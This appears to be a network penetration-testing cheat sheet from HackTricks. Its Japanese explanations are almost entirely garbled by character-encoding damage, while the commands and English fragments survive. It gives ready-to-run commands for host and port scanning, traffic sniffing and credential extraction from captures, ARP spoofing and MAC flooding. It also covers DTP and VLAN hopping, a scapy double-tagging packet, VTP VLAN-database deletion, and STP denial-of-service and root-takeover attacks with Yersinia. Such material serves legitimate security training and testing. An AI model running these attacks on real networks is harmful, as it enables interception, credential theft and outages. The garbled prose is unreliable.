Pentesting ãããã¯ãŒã¯
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
å€éšãããã¹ããçºèŠãã
ããã¯ç°¡æœãªã»ã¯ã·ã§ã³ã§ãã€ã³ã¿ãŒãããäžã§å¿çããŠããIPãèŠã€ããæ¹æ³ã«ã€ããŠèª¬æããŸãã
ãã®å Žåãããã€ãã®IPã®ç¯å²ïŒå Žåã«ãã£ãŠã¯è€æ°ã®rangesïŒããããã©ã®IPãå¿çããŠããããèŠã€ããã ãã§ãã
ICMP
ããã¯ãã¹ããèµ·åããŠãããã©ããã倿ããããã®æãç°¡åã§æéã®æ¹æ³ã§ãã
ããã€ãã®ICMPãã±ãããéã£ãŠå¿çãæåŸ
ããŠã¿ãããšãã§ããŸããæãç°¡åãªæ¹æ³ã¯åã«echo requestãéã£ãŠå¿çãæåŸ
ããããšã§ããping or using fping for ranges.
ãŸããnmapã䜿ã£ãŠä»ã®çš®é¡ã®ICMPãã±ãããéãããšãã§ããŸãïŒããã«ããäžè¬çãªICMP echo request-responseãžã®ãã£ã«ã¿ãåé¿ã§ããŸãïŒã
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
TCP ããŒãæ€åº
ICMP ãã±ãããããããçš®é¡ã§ãã£ã«ã¿ãããŠããããšã¯éåžžã«ãããããŸãããããã£ãŠããã¹ãã皌åããŠãããã確èªããããã«ã§ããããšã¯ããªãŒãã³ããŒããæ¢ãããšã ãã§ãã
åãã¹ãã«ã¯ 65535 ããŒã ããããããã¹ã³ãŒããã倧ãããå Žåãåãã¹ãã® ãã¹ãŠã®ããŒã ãéããŠãããã©ããããã¹ãŠãã¹ãããããšã¯ã§ããŸãããããã«ã¯éåžžã«æéãããããŸã.\
ããã§å¿ èŠãªã®ã¯ãé«éãªããŒãã¹ãã£ã (masscan) ãšããã䜿ãããããŒã ã®ãªã¹ãã§ã:
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
ãã®ã¹ãããã¯nmapã§ãå®è¡ã§ããŸãããnmapã¯é
ãããã¹ãã up ãã©ãããèå¥ããã®ãããèŠæã§ãã
HTTP ããŒãæ€åº
ããã¯ãã ã® TCP ããŒãæ¢çŽ¢ã§ãHTTP ãµãŒãã¹ ã®çºèŠã«éäžããããšãã«æçšã§ã:
masscan -p80,443,8000-8100,8443 199.66.11.0/24
UDP Port Discovery
ããã€ãã® UDP port open ããã§ãã¯ããŠãã©ã® host. ã« pay more attention ãã¹ãã倿ããããšãã§ããŸããUDP services ã¯éåžžãempty UDP probe packet ã«å¯Ÿã㊠donât respond ã§ any data ãè¿ããªããããport ã filtered or open ãã倿ããã®ã¯é£ããã§ããããã倿ããæãç°¡åãªæ¹æ³ã¯ãå®è¡äžã® service ã«é¢é£ãã packet ãéãããšã§ããã©ã® service ãåäœããŠãããããããªãã®ã§ãport number ã«åºã¥ããŠæãå¯èœæ§ã®é«ããã®ã詊ããŠãã ãã:
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
åã«ææ¡ãã nmap ã©ã€ã³ã¯ã/24 ç¯å²å
ã®åãã¹ãã§ top 1000 UDP ports ããã¹ãããŸãããããã ãã§ã >20min ããããŸãããã æéã®çµæ ãå¿
èŠãªã udp-proto-scanner: ./udp-proto-scanner.pl 199.66.11.53/24 ã䜿ããŸããããã¯ãããã® UDP probes ãããããã® expected port ã«éä¿¡ããŸãïŒ/24 ç¯å²ã§ã¯çŽ1åã§çµãããŸãïŒ: DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.
SCTP ããŒãæ¢çŽ¢
#Probably useless, but it's pretty fast, why not try it?
nmap -T4 -sY -n --open -Pn <IP/range>
Pentesting Wifi
ããã§ã¯ãå·çæç¹ã§ç¥ãããŠããäž»èŠãª Wifi æ»æã®ã¬ã€ããåç §ã§ããŸã:
å éšãã hosts ãçºèŠãã
ãã network å ã«ããå Žåãæåã«è¡ãããããšã®äžã€ã¯ ä»ã® hosts ãæ€åºãã ããšã§ããã©ã®çšåºŠã® ãã€ãº ãåºããïŒåºããããã«ãã£ãŠãå®è¡ã§ããã¢ã¯ã·ã§ã³ãç°ãªããŸã:
Passive
æ¥ç¶ããã network å ã® hosts ãååçã«æ€åºããããã«ããããã®ããŒã«ã䜿çšã§ããŸã:
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
ã¢ã¯ãã£ã
ãªããDiscovering hosts from the outside (TCP/HTTP/UDP/SCTP Port Discovery) ã§èª¬æããæè¡ã¯ããã§ãé©çšã§ããŸãã
ãã ããä»ã®ãã¹ããšåããããã¯ãŒã¯ã«ãããããããã«å€ãã®ããšãã§ããŸãïŒ
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
ã¢ã¯ãã£ã ICMP
Note that the techniques commented in Discovering hosts from the outside (ICMP) can be also applied here.
ããããä»ã®ãã¹ããš åããããã¯ãŒã¯ ã«ãããããããã«ã§ããããš ãå¢ããŸã:
- ãã ping ã ãµããããã®ãããŒããã£ã¹ãã¢ãã¬ã¹ ã«éããšããã® ping 㯠åãã¹ã ã«å°éãããã¹ã㯠ããªãã« å¿çããããšããããŸã:
ping -b 10.10.5.255 - ãããã¯ãŒã¯ã®ãããŒããã£ã¹ãã¢ãã¬ã¹ ã« ping ãéããšãä»ã®ãµãããã å
ã®ãã¹ãããèŠã€ããããããšããããŸã:
ping -b 255.255.255.255 nmapã®-PE,-PP,-PMãã©ã°ã䜿ã£ãŠããããã ICMPv4 echo, timestamp, ããã³ subnet mask requests ãéãããšã§ãã¹ãçºèŠãè¡ããŸã:nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24
Wake On Lan
Wake On Lan 㯠ãããã¯ãŒã¯ã¡ãã»ãŒãž ãä»ããŠã³ã³ãã¥ãŒã¿ã èµ·å ããããã«äœ¿ãããŸããã³ã³ãã¥ãŒã¿ãèµ·åããããã«äœ¿ãããããžãã¯ãã±ããã¯ãMAC Dst ãæå®ããããã®åŸåããã±ããå
ã§ããã 16åç¹°ãè¿ããã ã ãã®ãã±ããã§ãã
ãã®çš®ã®ãã±ããã¯éåžž ethernet 0x0842 ãŸã㯠UDP packet to port 9 ã§éä¿¡ãããŸãã
ãã no [MAC] ãæå®ãããŠããå Žåããã±ãã㯠broadcast ethernet ã«éããïŒãããŒããã£ã¹ã MAC ãç¹°ãè¿ãããŸãïŒã
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0842
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
ãã¹ãã®ã¹ãã£ã³
詳现ã«ã¹ãã£ã³ããããã¹ãŠã® IPs (external or internal) ãç¹å®ããããããŸããŸãªã¢ã¯ã·ã§ã³ãå®è¡ã§ããŸãã
TCP
- éããŠãã ããŒã: SYN â> SYN/ACK â> RST
- éããŠãã ããŒã: SYN â> RST/ACK
- ãã£ã«ã¿ãããŠãã ããŒã: SYN â> [NO RESPONSE]
- ãã£ã«ã¿ãããŠãã ããŒã: SYN â> ICMP message
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP
UDPããŒããã¹ãã£ã³ããã«ã¯2ã€ã®ãªãã·ã§ã³ããããŸã:
- UDP packet ãéä¿¡ããŠãããŒãã closed ã®å Žåã®å¿çã§ãã ICMP unreachable ã確èªããïŒããã€ãã®ã±ãŒã¹ã§ã¯ ICMP ã filtered ããããããããŒãã closed ã open ãã«ã€ããŠæ å ±ãåãåããªãããšãããïŒã
- formatted datagrams ãéã£ãŠ service ããå¿çãåŒãåºãïŒäŸ: DNS, DHCP, TFTPããã®ä» nmap-payloads ã«ãªã¹ããããŠãããã®ïŒãresponse ãåãåã£ãå ŽåãããŒã㯠open ã§ããã
Nmap 㯠â-sVâ ã䜿çšããŠäž¡æ¹ã®ãªãã·ã§ã³ãçµã¿åãããŸãïŒUDP scans ã¯éåžžã«é ãïŒããUDP scans 㯠TCP scans ãããé ãããšã«æ³šæããŠãã ãã:
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
SCTP Scan
SCTP (Stream Control Transmission Protocol) 㯠TCP (Transmission Control Protocol) ã UDP (User Datagram Protocol) ãšäœµçšããããèšèšãããŠããŸããäž»ãªç®çã¯IPãããã¯ãŒã¯äžã§é»è©±éä¿¡ããŒã¿ã茞éããããšã§ãSignaling System 7 (SS7) ã«èŠãããå€ãã®ä¿¡é Œæ§æ©èœãåæ ããŠããŸããSCTP 㯠SIGTRAN ãããã³ã«ãã¡ããªã®äžæ žçãªæ§æèŠçŽ ã§ãããSS7ä¿¡å·ãIPãããã¯ãŒã¯äžã§èŒžéããããšãç®çãšããŠããŸãã
SCTP ã®ãµããŒã㯠IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, ããã³ VxWorks ãšãã£ãããŸããŸãªãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã§æäŸãããŠããã黿°éä¿¡ããã³ãããã¯ãŒãã³ã°åéã§ã®åºç¯ãªæ¡çšãšæçšæ§ã瀺ããŠããŸãã
nmap 㯠SCTP ã«å¯Ÿã㊠2 çš®é¡ã®ã¹ãã£ã³ãæäŸããŠãã: -sY ãš -sZ.
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
IDS and IPS evasion
More nmap options
å éšIPã¢ãã¬ã¹ã®æ€åº
èšå®ãã¹ã®ããã«ãŒã¿ãFirewallãããã³ãããã¯ãŒã¯æ©åšã¯ããããã¯ãŒã¯ãããŒãã«å¯ŸããŠéå ¬éã®éä¿¡å ã¢ãã¬ã¹ã§å¿çããããšããããŸããtcpdump ã䜿çšããŠããã¹ãäžã«ãã©ã€ããŒãã¢ãã¬ã¹ããåä¿¡ãããã±ãããç¹å®ã§ããŸããå ·äœçã«ã¯ãKali Linux äžã§ãããªãã¯ã€ã³ã¿ãŒãããããå°éå¯èœãª eth2 ã€ã³ã¿ãŒãã§ãŒã¹ã§ãã±ããããã£ããã£ã§ããŸãããªããç°å¢ã NAT ã Firewall ã®èåŸã«ããå Žåããã®ãããªãã±ããã¯ãã£ã«ã¿ãªã³ã°ãããå¯èœæ§ãé«ãç¹ã«æ³šæããŠãã ããã
tcpdump ânt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
Sniffing
Sniffing ã«ãã£ãŠãcaptured frames and packets ãè§£æããããšã§ IP rangesãsubnet sizesãMAC addressesãhostnames ã®è©³çŽ°ãææ¡ã§ããŸãããããã¯ãŒã¯ã誀èšå®ãããŠããã switching fabric ã«éè² è·ãããã£ãŠããå Žåãæ»æè 㯠passive network sniffing ã«ãã£ãŠæ©å¯ããŒã¿ãååŸããå¯èœæ§ããããŸãã
If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address.
TCPDump
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
ãŸããSSH ã»ãã·ã§ã³çµç±ã§ãªã¢ãŒããã·ã³ããpacketsããã£ããã£ããWiresharkãGUIãšããŠãªã¢ã«ã¿ã€ã ã§è¡šç€ºã§ããŸãã
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
Bettercap
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
Wireshark
ãã¡ããã
credentials ã®ååŸ
pcap ã live interface ãã credentials ãè§£æããããã«ãhttps://github.com/lgandx/PCredz ã®ãããªããŒã«ã䜿çšã§ããŸãã
LAN attacks
ARP spoofing
ARP Spoofing ã¯ãgratuitous ARPResponses ãéä¿¡ããŠããããã·ã³ã® IP ãæã ã®ããã€ã¹ã® MAC ãæã£ãŠãããšç€ºãææ³ã§ãããããšã被害è 㯠ARP table ã倿Žããspoofed IP ã«æ¥ç¶ããããšãããã³ã«æã ã®ãã·ã³ã«éä¿¡ããããã«ãªããŸãã
Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
Arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
MAC Flooding - CAM overflow
ç°ãªã source mac address ãæã€å€§éã®ãã±ãããéä¿¡ããŠã¹ã€ããã® CAM table ããªãŒããŒãããŒããããCAM table ãæºæ¯ã«ãªããšãã¹ã€ãã㯠hub ã®ããã«æ¯ãèãïŒbroadcasting all the trafficïŒã
macof -i <interface>
çŸä»£ã®ã¹ã€ããã§ã¯ãã®è匱æ§ã¯ä¿®æ£ãããŠããŸãã
802.1Q VLAN / DTP æ»æ
Dynamic Trunking
The Dynamic Trunking Protocol (DTP) ã¯ããã©ã³ãã³ã°ãèªååããããã®ãªã³ã¯å±€ãããã³ã«ãšããŠèšèšãããŠãããã¹ã€ãããããŒããèªåçã« Trunk ã¢ãŒããŸãã¯éãã©ã³ã¯ã¢ãŒãã«éžæã§ããããã«ããŸããDTP ã®å°å ¥ã¯ãã°ãã°ãããã¯ãŒã¯èšèšãæé©ã§ãªãããšã®ææšãšã¿ãªããããã©ã³ã¯ã¯å¿ èŠãªç®æã®ã¿æåã§èšå®ããé©åã«ããã¥ã¡ã³ãåããããšãéèŠã§ãã
ããã©ã«ãã§ã¯ãã¹ã€ããã®ããŒã㯠Dynamic Auto ã¢ãŒãã§åäœããããã«èšå®ãããŠããã飿¥ããã¹ã€ããããèŠæ±ãããã°ãã©ã³ãã³ã°ãéå§ããæºåãã§ããŠããŸããpentester ãæ»æè ãã¹ã€ããã«æ¥ç¶ã㊠DTP Desirable ãã¬ãŒã ãéä¿¡ãããšãããŒãã Trunk ã¢ãŒãã«ç§»è¡ãããããã»ãã¥ãªãã£äžã®æžå¿µãçããŸãããã®æäœã«ãããæ»æè 㯠STP ãã¬ãŒã è§£æãéã㊠VLAN ãåæããããä»®æ³ã€ã³ã¿ãŒãã§ãŒã¹ãèšå®ã㊠VLAN åé¢ãåé¿ãããã§ããŸãã
å€ãã®ã¹ã€ããã§ DTP ãããã©ã«ãã§æå¹ã«ãªã£ãŠãããšãæ»æè ã¯ã¹ã€ããã®åäœãæš¡å£ããŠå šãŠã® VLAN ã®ãã©ãã£ãã¯ã«ã¢ã¯ã»ã¹ã§ããå¯èœæ§ããããŸããã¹ã¯ãªãã dtpscan.sh ã¯ã€ã³ã¿ãŒãã§ãŒã¹ãç£èŠããŠãã¹ã€ããã DefaultãTrunkãDynamicãAutoããŸã㯠Access ã¢ãŒãã®ããããã«ããããæããã«ããŸããåŸè ïŒAccessïŒã VLAN hopping attacks ã«å¯ŸããŠå¯äžå ç«ã®ããèšå®ã§ãããã®ããŒã«ã¯ã¹ã€ããã®è匱æ§ç¶æ³ãè©äŸ¡ããŸãã
ãããã¯ãŒã¯ã®è匱æ§ã確èªãããå ŽåãYersinia ããŒã«ã䜿çšã㊠DTP ãããã³ã«çµç±ã§ãenable trunkingããå®è¡ãããã¹ãŠã® VLAN ããã®ãã±ããã芳å¯ã§ããŸãã
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
.png)
VLANãåæããã«ã¯ãã¹ã¯ãªããDTPHijacking.py. Do ã¹ã¯ãªããããããªãç¶æ³ã§ãäžæããŠã¯ãããŸããã3ç§ããšã«DTP Desirableãæ³šå ¥ããŸããã¹ã€ããäžã§åçã«äœæããã trunk ãã£ãã«ã¯5åéã®ã¿æå¹ã§ãã5ååŸã« trunk ã¯åæãããŸãã
sudo python3 DTPHijacking.py --interface eth0
念ã®ããææãããšãAccess/Desirable (0x03) 㯠DTP ãã¬ãŒã ã Desirable ã¿ã€ãã§ããããšã瀺ããããŒãã« Trunk ã¢ãŒããžåãæ¿ããããæç€ºããŸãã ãŸã 802.1Q/802.1Q (0xa5) 㯠802.1Q ã«ãã»ã«åã¿ã€ãã瀺ããŸãã
STP ãã¬ãŒã ãè§£æããããšã§ãVLAN 30 ãš VLAN 60 ã®ååšã確èªã§ããŸãã
.png)
ç¹å®ã® VLAN ãæ»æãã
VLAN ID ãš IP å€ã倿ããããç¹å®ã® VLAN ãæ»æããããã« ä»®æ³ã€ã³ã¿ãŒãã§ãŒã¹ãèšå®ã§ããŸãã
DHCP ãå©çšã§ããªãå Žåã¯ãéç IP ã¢ãã¬ã¹ãèšå®ããããã« ifconfig ã䜿çšããŠãã ããã
VLAN ã€ã³ã¿ãŒãã§ãŒã¹èšå®ïŒäŸïŒ
```bash root@kali:~# modprobe 8021q root@kali:~# vconfig add eth1 250 Added VLAN with VID == 250 to IF -:eth1:- root@kali:~# dhclient eth1.250 Reloading /etc/samba/smb.conf: smbd only. root@kali:~# ifconfig eth1.250 eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65 inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0 inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:19 errors:0 dropped:0 overruns:0 frame:0 TX packets:13 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
</details>
```bash
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
Automatic VLAN Hopper
説æãã Dynamic Trunking and creating virtual interfaces an discovering hosts inside ã«ããä»ã® VLAN å ã§ã®æ»æã¯ãããŒã«: https://github.com/nccgroup/vlan-hoppingâfrogger ã«ãã£ãŠ èªåçã«å®è¡ãããŸã
Double Tagging
ãã attacker ã MAC, IP and VLAN ID of the victim host ãç¥ã£ãŠããã°ãæå®ããã VLAN ãš victim ã® VLAN ã䜿ã£ãŠãã¬ãŒã ã double tag a frame ãããã±ãããéä¿¡ã§ããŸããvictim wonât be able to connect back ãããattacker ã«ãšã£ãŠã® best option for the attacker is communicate via UDP ã¯ãSNMP ã®ãããªè峿·±ãåäœãè¡ãããããã³ã«ãžã®éä¿¡ã§ãã
å¥ã®ææ®µãšããŠãattacker 㯠TCP port scan spoofing an IP controlled by the attacker and accessible by the victim ãå®è¡ããïŒããããã€ã³ã¿ãŒãããçµç±ïŒããã®åŸãattacker ãææããå¥ã®ãã¹ãã§ victim ããã®ãã±ãããåãåããã sniff ããŠç¢ºèªã§ããŸãã
.png)
To perform this attack you could use scapy: pip install scapy
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
Lateral VLAN Segmentation Bypass
çŽæ¥æ¥ç¶ãããŠãã switch ãžã®ã¢ã¯ã»ã¹ãæã£ãŠããå Žåããããã¯ãŒã¯å ã§bypass VLAN segmentationããããšãå¯èœã§ããåçŽã«ããŒããswitch the port to trunk modeïŒtrunk ãšãåŒã°ããïŒã«åãæ¿ããã¿ãŒã²ããã® VLANs ã® ID ã§ virtual interfaces ãäœæããIP address ãèšå®ããŸããã¢ãã¬ã¹ã¯åçã«èŠæ±ããïŒDHCPïŒããéçã«èšå®ãããã¯ã±ãŒã¹ã«ãããŸãã
Lateral VLAN Segmentation Bypass
Layer 3 Private VLAN Bypass
ã²ã¹ãç¡ç·ãããã¯ãŒã¯ã®ãããªç°å¢ã§ã¯ãç¡ç·ã¢ã¯ã»ã¹ãã€ã³ãã«æ¥ç¶ãããã¯ã©ã€ã¢ã³ãå士ãçŽæ¥éä¿¡ããã®ãé²ãããã« port isolationïŒalso known as private VLANïŒ ã®èšå®ãå®è£ ãããŠããããšããããŸãããããããããã® isolation ãåé¿ã§ããææ³ã確èªãããŠããŸãããã®ææ³ã¯ããããã¯ãŒã¯ ACLs ã®æ¬ åŠãäžé©åãªèšå®ãçªããIP ãã±ãããã«ãŒã¿çµç±ã§å¥ã®ã¯ã©ã€ã¢ã³ãã«å°éãããããšãå¯èœã«ããŸãã
æ»æã¯ãã¿ãŒã²ããã¯ã©ã€ã¢ã³ãã® IP address ãæã€ã router ã® MAC address ãæã€ãã±ãããäœæããããšã§å®è¡ãããŸããããã«ããã«ãŒã¿ã¯èª€ã£ãŠãã®ãã±ãããã¿ãŒã²ããã¯ã©ã€ã¢ã³ãã«è»¢éããŠããŸããŸãããã®ã¢ãããŒãã¯ã被害è ã«ã¢ã¯ã»ã¹å¯èœãªãã¹ããå¶åŸ¡ããèœåãå©çšããŠè匱æ§ãçªã Double Tagging Attacks ãšé¡äŒŒããŠããŸãã
Key Steps of the Attack:
- Crafting a Packet: ã¿ãŒã²ããã¯ã©ã€ã¢ã³ãã® IP address ãå«ã¿ã€ã€ãrouter ã® MAC address ãæã€ packet ãç¹å¥ã«äœæããŸãã
- Exploiting Router Behavior: äœæãã packet ãã«ãŒã¿ã«éä¿¡ãããšãèšå®ã«ããã«ãŒã¿ããã®ãã±ãããã¿ãŒã²ããã¯ã©ã€ã¢ã³ããžãªãã€ã¬ã¯ãããprivate VLAN ã® isolation ãåé¿ããŸãã
VTP Attacks
VTP (VLAN Trunking Protocol) 㯠VLAN 管çãéäžåããŸããVLAN ããŒã¿ããŒã¹ã®æŽåæ§ãä¿ã€ããã« revision numbers ãå©çšãã倿Žãè¡ããããã³ã«ãã®çªå·ãã€ã³ã¯ãªã¡ã³ããããŸããã¹ã€ããã¯ããé«ã revision number ãæã€æ§æãåãå ¥ããèªèº«ã® VLAN ããŒã¿ããŒã¹ãæŽæ°ããŸãã
VTP Domain Roles
- VTP Server: VLAN ã管çâäœæãåé€ã倿Žãè¡ããŸãããã¡ã€ã³ã¡ã³ããŒã« VTP announcements ããããŒããã£ã¹ãããŸãã
- VTP Client: VTP announcements ãåä¿¡ããŠèªèº«ã® VLAN ããŒã¿ããŒã¹ãåæããŸããããŒã«ã«ã§ VLAN ã®æ§æå€æŽãè¡ãããšã¯å¶éãããŸãã
- VTP Transparent: VTP ã®æŽæ°ã«ã¯é¢äžããŸããã VTP announcements ã転éããŸããVTP attacks ã®åœ±é¿ãåãããåžžã« revision number ã¯ãŒãã®ãŸãŸç¶æãããŸãã
VTP Advertisement Types
- Summary Advertisement: VTP server ã«ãã£ãŠ 300 ç§ããšã«ãããŒããã£ã¹ãããããã¡ã€ã³ã®åºæ¬æ å ±ãäŒããŸãã
- Subset Advertisement: VLAN æ§æã®å€æŽåŸã«éä¿¡ãããŸãã
- Advertisement Request: VTP client ã Summary Advertisement ãèŠæ±ããããã«çºè¡ããŸããéåžžã¯ããé«ã configuration revision number ãæ€åºããéã«å¿çãšããŠçºè¡ãããŸãã
VTP ã®è匱æ§ã¯ trunk ports ãä»ããŠã®ã¿æªçšå¯èœã§ãããVTP announcements ã¯ããããéããŠã®ã¿åŸªç°ããŸããDTP attack ã®åŸã«æ»æè 㯠VTP ã«åããããšããããŸããYersinia ã®ãããªããŒã«ã¯ VTP attacks ãæ¯æŽããVLAN database ãæ¶å»ããŠãããã¯ãŒã¯ãå®è³ªçã«ç Žå£ããããšãç®çãšããããšãã§ããŸãã
Note: ãã®è°è«ã¯ VTP version 1 (VTPv1) ã«é¢ãããã®ã§ãã
yersinia -G # Launch Yersinia in graphical mode
Yersiniaã®ã°ã©ãã£ã«ã«ã¢ãŒãã§ã¯ãVLANããŒã¿ããŒã¹ãæ¶å»ããããã« âdeleting all VTP vlansâ ãªãã·ã§ã³ãéžæããŸãã
STPæ»æ
ã€ã³ã¿ãŒãã§ãŒã¹äžã§BPDUãã¬ãŒã ããã£ããã£ã§ããªãå ŽåãSTPæ»æã«æåããå¯èœæ§ã¯äœãã§ãã
STP BPDU DoS
倧éã®BPDUs TCP (Topology Change Notification) ã Conf (ããããžãŒäœææã«éä¿¡ãããBPDU) ãéä¿¡ãããšãã¹ã€ããã«éè² è·ããããæ£ããåäœããªããªããŸãã
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
STP TCP Attack
TCPãéä¿¡ããããšãswitchesã®CAM tableã¯15ç§ã§åé€ãããŸããæ¬¡ã«ããã®çš®ã®ãã±ãããç¶ç¶çã«éä¿¡ãããšãCAM tableã¯ç¶ç¶çã«ïŒãŸãã¯æ¯15ç§ããšã«ïŒåæ§ç¯ãããåæ§ç¯ããããšswitchã¯hubã®ããã«æ¯ãèããŸãã
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
STP Root Attack
æ»æè
ã¯ã¹ã€ããã®æ¯ãèããã·ãã¥ã¬ãŒãããŠããããã¯ãŒã¯ã®STP rootã«ãªãããšããŸãããããšãããå€ãã®ããŒã¿ãæ»æè
çµç±ã§æµããããã«ãªããŸããããã¯ã2å°ã®ç°ãªãã¹ã€ããã«æ¥ç¶ããŠããå Žåã«æå¹ã§ãã
ããã¯ãBPDUs CONF packetsãéä¿¡ããpriority å€ãå®éã®root switchã®åªå
床ããäœããšåœãããšã§è¡ãããŸãã
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
æ»æè ã2å°ã®ã¹ã€ããã«æ¥ç¶ãããŠããå Žåãæ»æè ãæ°ããããªãŒã®rootã«ãªãããããã®ã¹ã€ããéã®ãã¹ãŠã®ãã©ãã£ãã¯ãæ»æè ãçµç±ããŸã (MITM attack ãå®è¡ããã).
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
